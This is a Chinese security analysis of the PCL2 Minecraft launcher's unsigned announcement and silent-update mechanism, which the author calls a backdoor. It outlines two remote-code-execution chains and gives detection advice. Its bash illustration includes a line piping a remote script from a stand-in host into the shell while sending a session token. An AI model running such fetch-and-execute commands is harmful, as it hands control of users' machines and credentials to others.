PCL2远程代码执行分析报告
Powered by DeepSeek. Credit SEDET, 小坤鸽

MiRinChan b7f16aea56 docs: 补充情况说明 hai 2 días
analysis 6b0243308d docs: PCL 公告/更新机制风险分析与 2.99.0.1 复查 hai 2 días
.gitignore 6b0243308d docs: PCL 公告/更新机制风险分析与 2.99.0.1 复查 hai 2 días
README.md b7f16aea56 docs: 补充情况说明 hai 2 días

README.md

  1. 向龙腾猫跃的道歉公告
  2. PCL 公告/更新机制风险分析

最新更新:2.99.0.1 删掉了吗?如删!

情况说明:对龙腾猫跃于 26 日发布的“一些情况更新”以及对“有关 PCL 存在所谓‘后门 / 漏洞’的说明” 的修订,本项目观点及结论不变。

情况说明:项目报告和PoC均已经删减来规避潜在的法务风险。

重申为什么是后门?

鉴于所谓其他软件的撑腰“开团”,我想在这里作一些评论。

我一直强调的“何谓后门[^backdoor]”?一种*未经文档记录的*、获取计算机系统访问权限的途径。

在这里的情况,说人话就是:即在用户不预知的情况下作出意料外的事情;且软件在用户未明确授权的情况下,从远程获取并执行可由别人控制的代码。

用简单的 bash 来举例(你们最喜欢的 bash2shell 笑话:)。我们写一个 Minecraft 启动器的核心流程。

举例

定义一个 Shell 函数作为一个 Minecraft 启动器。

mc() {
    local USERNAME="Steve" UUID="550e8400-e29b-41d4-a716-446655440000" TOKEN="114514" VERSION="1.21.1"
    java -cp "minecraft.jar:libs/*" net.minecraft.client.main.Main --username "$USERNAME" --uuid "$UUID" --accessToken "$TOKEN" --userType msa --version "$VERSION" --gameDir . --assetsDir assets --assetIndex 17 "$@"
}

这是我们预想的,对吧?用 Java 启动一个游戏。很简单,我想按下一个启动游戏,它应该只启动游戏。

当然,我们也可以在游戏启动之前再加一个命令。并且作为接口开放,以便所需。

注意:这也是有些人最喜欢偷换概念。说“我们的软件也有 RCE 漏洞”,而展示一个运行前的命令填写框。但这是用户自己设定的,用户能够预知会发生什么。

mc() {
    local <省略>
    local PRESTART="fcitx5-remote -c" 
    eval "$PRESTART" # 我们知道做了什么 :)
        && java <省略> "$@"
}

但是,PCL 并不是这样。它的抽象命令是这样的。

mc() {
    local TOKEN="114514" <省略>
    local PRESTART="fcitx5-remote -c" 
    source <(curl -fsSL "https://example.com/script?session=${TOKEN}") \
    # ↑ 在这里,我们不得知做了什么。
    # 即便他只是作为公告 Whatever. 但是他也有运行命令的能力。
    # 而这不能预测到。我们不知道每次从互联网上 fetch 下来什么。
    # 并且我们不能审查代码,因为开源版本,这里写的是:“由于包含加解密等安全信息,本文件中的部分代码已被删除”
    # 一些人偷换概念很搞笑
        && eval "$PRESTART" \
        && java <省略> "$@"
}

不言而喻。

我不求做什么 whistleblower,但是我们应该都知道,我们想要安心地运行一个程序。

2026-10-24 初版

2026-10-25 修订

Notice 公告

在这里先向龙腾猫跃道歉。

我是一个兴趣使然的人,爱好研究以及 UI/UX。前两天,我在哔哩哔哩看到 SEDET 的视频——一个直接读 LLM 稿的。评论里大家都在评判他的立场和滥用 AI。但是,我看到了他想表达的事情。我从小坤鸽找到了一个样本,正如他视频演示的其中一个远程 RCE 性质的缺陷。而后,当我研究这份样本时,我独立地找到了另一个 RCE 性质的缺陷……

……这个缺陷性质危险,我认为是一个 0-Click RCE 的后门,这相比于上一个更加危险,你可以从 PCL 的设置里检查它,它也不是 0-Click 的,你需要点击一次。但是这个不是,这近乎于后门了。

为什么?因为后门[^backdoor]是“一种*未经文档记录的*、获取计算机系统访问权限的途径。”很显然,本文的提及的两个缺陷也许都满足此定义。因为,直到被发现,开发者从来没有提及过这个功能。诚然,后门也许是出于善意设置的,但使用可以朝着恶意去使用的。个人开发者很难去自证“我设计一个功能,到底是*好*还是*坏*呢?”所以最好的办法就是“少做少错,不做不错。”但我这里并不是让开发者什么都不做,而是不做那些令人费解、令人误解的功能。

[^backdoor]: NIST SP 800-82 Rev. 3 关于后门的定义

我曾经发现过一个 Android 上的漏洞,它不是代码有误,而是界面上的设计缺陷。在我或者普遍认为,一个功能只要存在不是按照目标去发展的事情,那它就存在一个缺陷或漏洞。因此,即便一个功能设计初衷是无害的,但它在能力上有害,我认为这个功能就是一种错误的存在,它不应该存在,因此,我写出报告希望大家知道它。但我并不希望大家用这份报告去做坏事,我只是希望各位开发者不要做这种功能。

对于我,我不想信任任何开发者。但即便你信任龙腾猫跃,你也应该知道,你只是信任他的人品,即“龙腾猫跃自身没有主动想去利用他写出来的功能去做坏事”这件事情。但你会信任他的开发环境吗?人是不可能随时防备的。如 LTT 频道因测评软件误运行间谍软件,导致 Cookie 被盗用。科技产品们问世必是漏洞频发的。我们不能把信任随便给出去,而代码本身会说话,它会告诉你它会做什么。因此,这就是我在几年前就从 Windows 更换到了 NixOS,并一直使用到今天。因为,隐藏的代码大家不一定能读透,公开的代码可能好不到哪里去[^xz]。但是至少有很多人会盯着看。

[^xz]: 比如 xz-utils.

我本质希望大家能重视到减少攻击面的必要性。

我在此呼吁你,龙腾猫跃,添加几项 feature:

  1. PIN 住证书。中国国家互联网应急中心在三天前报道了一起中国境外自治域 AS 402425 恶意篡改部分 DNS 解析数据事件。其中修改了 DNS 解析值,并使用 Let's Encrypt 申领了证书。受影响的主体存在 Akamai CDN。*在本公告修订时,有报道指出 AS4847 出现可能的中间人 ssh 连接的情况。*劫持、修改响应并非不可发生,安全不可忽视。
  2. 移除这类代码,转而使用“更新墙”强制更新的手段,告知用户你接下来有事情要干。静默更新会导致 user experience 上产生出入。这能保证用户知情“程序要做什么事情”。

我也希望龙腾猫跃能给出更好的解决办法。正如我第一次与 PCL 见面,我希望 PCL 越来越好。

祝PCL做的越来越好

米凛 aka MiRin

2026-10-23 初版

2026-10-25 修订

PCL 公告/更新机制风险分析

2026-10-21 初版

2026-10-25 修订

2026-11-07 修订

省流:PCL2 在特定情况下有能力从服务器获取配置,并据此执行命令或替换自身。

摘要

蓝奏云样本与官方仓库提交 Hex-Dragon/PCL2 6b9a50df911c9d68b69b24c979efba477fb14b67 中根目录的压缩包内的 exe 一致。

6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386  Plain Craft Launcher 2.exe
6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386  official/Plain Craft Launcher 2.exe

无论是否“关闭”公告,程序启动时都会请求一次公告,并执行其中的动作,或触发静默更新。

这些动作与更新包都没有签名校验。我们不能确认公告一定由作者发布,也无法从公开源码审查它实际做了什么。

因此存在两条风险链:

  • 需要一次用户交互:公告动作可以写入影响启动流程的设置,最终由系统 shell 执行。
  • 无需用户交互:远程配置可以强制客户端刷新更新配置,更新地址可指向任意包;包被解压到安装目录,用户正常退出时执行。

btw,开源仓库里的公告/更新模块被删减,远程内容无从审计。

分析

样本

文件名为 Plain Craft Launcher 2.exe。大小 5,980,160 字节。 版本 PCL2/2.99.0.0.50;VersionCode = 413;BuildType = Release(50) SHA-256 为 6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386。

它与官方仓库同一提交的发布包逐字节一致,不是第三方二次打包。

下面的分析只做行为层面的归纳。

并非开源

'由于包含加解密等安全信息,本文件中的部分代码已被删除

公告、服务器配置、更新、土豆码等实现全无;而发布版二进制有。

也就是说,远程内容这一整块是闭源的。

许可文件表示“PCL 被龙腾猫跃保留所有权利”,且代码使用仅为指南,而并非协议。在中国,不构成合同。没有任何一个字表示过去代码如何授权,未来的指南改变是否追溯其过去。

这和社区声称“开源启动器”的论调不符。

机制概述

下面用伪代码概括数据流。

启动时:
    拉取公告索引与服务器配置
    若服务器配置版本高于本地缓存,则覆盖本地缓存
    拉取公告列表,逐条匹配适用条件
    对命中的公告执行其动作

动作:
    写剪贴板 / 打开网页 / 静默退出
    写设置:把动作携带的键值写入程序设置,缺少完整的键名白名单
    更新:进入更新流程;静默模式下不询问用户

公告与配置走 TLS,但内容本身没有签名或哈希校验。TLS 只证明“连接到了某个域名”,不证明“内容由作者发布”。

客户端里还有一段用于 CDN 防盗链的 URL 签名:密钥内置在客户端,算法只覆盖 URL 路径与时间戳,不覆盖响应内容。任何拿到客户端的人都能生成合法 URL,但它不能证明内容来源。

风险链 A:公告动作写入启动前命令(需要一次交互)

公告的“写设置”动作可以把任意键值写入程序设置。设置项里包含一个“启动前命令”,启动器在启动游戏前会把它交给系统 shell 执行。

因此,攻击者只需要让一条公告命中一次,把该设置改成自己的命令;用户之后点击“启动游戏”,命令就会执行。由于需要用户点击一次,这条链不是 0-click。

公告本身有展示门槛(例如“不再提示”的等级),但门槛是客户端逻辑,可以被构造绕过。

除启动前命令外,还有若干设置会影响启动参数、自定义主页或自定义事件;能写入任意设置意味着攻击面不止一处。

风险链 B:静默更新缺少完整性与来源校验(无需交互)

公告可以触发静默更新。更新流程大致如下:

更新:
    从服务器配置读取下载地址(不固定,可指向任意主机)
    下载文件(不校验哈希或签名)
    若为压缩包,解压到安装目录;否则作为补丁应用到主程序
    标记“等待重启”

退出时:
    若存在“等待重启”,执行安装目录中的新可执行文件

服务器配置的版本号可以被抬高,使客户端丢弃本地缓存、重新拉取配置;随后更新地址指向攻击者控制的包。整个过程不需要用户点击,用户正常关闭启动器就会执行新文件。

对比同行,一个正常的自动更新至少应该有程序签名或校验和,更新来源固定,并且行为可以被检查。这里都不是。

为什么这是"后门",不是自动更新?

为什么?因为后门[^backdoor]是“一种*未经文档记录的*、获取计算机系统访问权限的途径。”很显然,本文的提及的两个缺陷也许都满足此定义。因为,直到被发现,开发者从来没有提及过这个功能。诚然,后门也许是出于善意设置的,但使用可以朝着恶意去使用的。个人开发者很难去自证“我设计一个功能,到底是*好*还是*坏*呢?”所以最好的办法就是“少做少错,不做不错。”但我这里并不是让开发者什么都不做,而是不做那些令人费解、令人误解的功能。

我们在这里研究的是“能不能”,不是作者“会不会?”

历史是一本教科书,他告诉我们人们不能从历史吸取教训。

Android 某 Root 程序 S……e 在服务器塞反注入代码,有两种行为,其一随机卡死手机,其二抹掉数据。目的是好的——反盗版说是,只是执行坏了——反盗版机制会干掉正版用户。

知名第三方聊天软件 N……m,开源软件不放任何恶意代码,发布版本写入自动上传代码。作者声称:

If your question is, “Is it true?”, the answer is yes, numbers were sent to the bot. But not a single number has been stored anywhere or shared with anyone ever.

Some people are asking for an “explanation”, but what kind of explanation do you want? It sends your phone number, it is what it is.

你信吗?

那 PCL 作者,你信吗?

侏罗纪老头进蓝奏云放的

截至笔者完成本报告,没有发现第三方二次打包或额外植入的恶意代码。

检测与响应

主机侧

  • hosts 或 DNS 中,公告域名被指向非官方地址;
  • 根证书存储中出现非官方 CA(尤其名称异常或含随机字符串的);
  • 安装目录出现额外的、等待替换的启动器可执行文件;
  • 公告与服务器配置缓存的内容、版本号异常;
  • 注册表中的公告提示等级突然变大;
  • 设置中的“启动前命令”“自定义主页”“自定义事件”等被改成陌生值;
  • 启动器日志出现公告动作、静默更新、更新程序启动、全局自定义命令等关键词。

网络侧

  • 启动时请求公告索引、公告与服务器配置;
  • 随后从任意配置地址下载压缩包;
  • 证书异常(非官方 CA);
  • DNS 解析异常。

修复建议

请更换更有信任的更新机制:固定更新源,校验签名或哈希,并在更新前明确告知用户。

附录

A. 官方来源

B. 此前的 issue

“我从未收到过相关问题的 Issue 或 Security Advisory。”龙腾猫跃于“有关 PCL 存在所谓‘后门 / 漏洞’的说明”言。

本文并非原创,在 SEDET 前已有相关讨论,故不将本报告视为新的问题。故未发送任何 Issue 或 Security Advisory。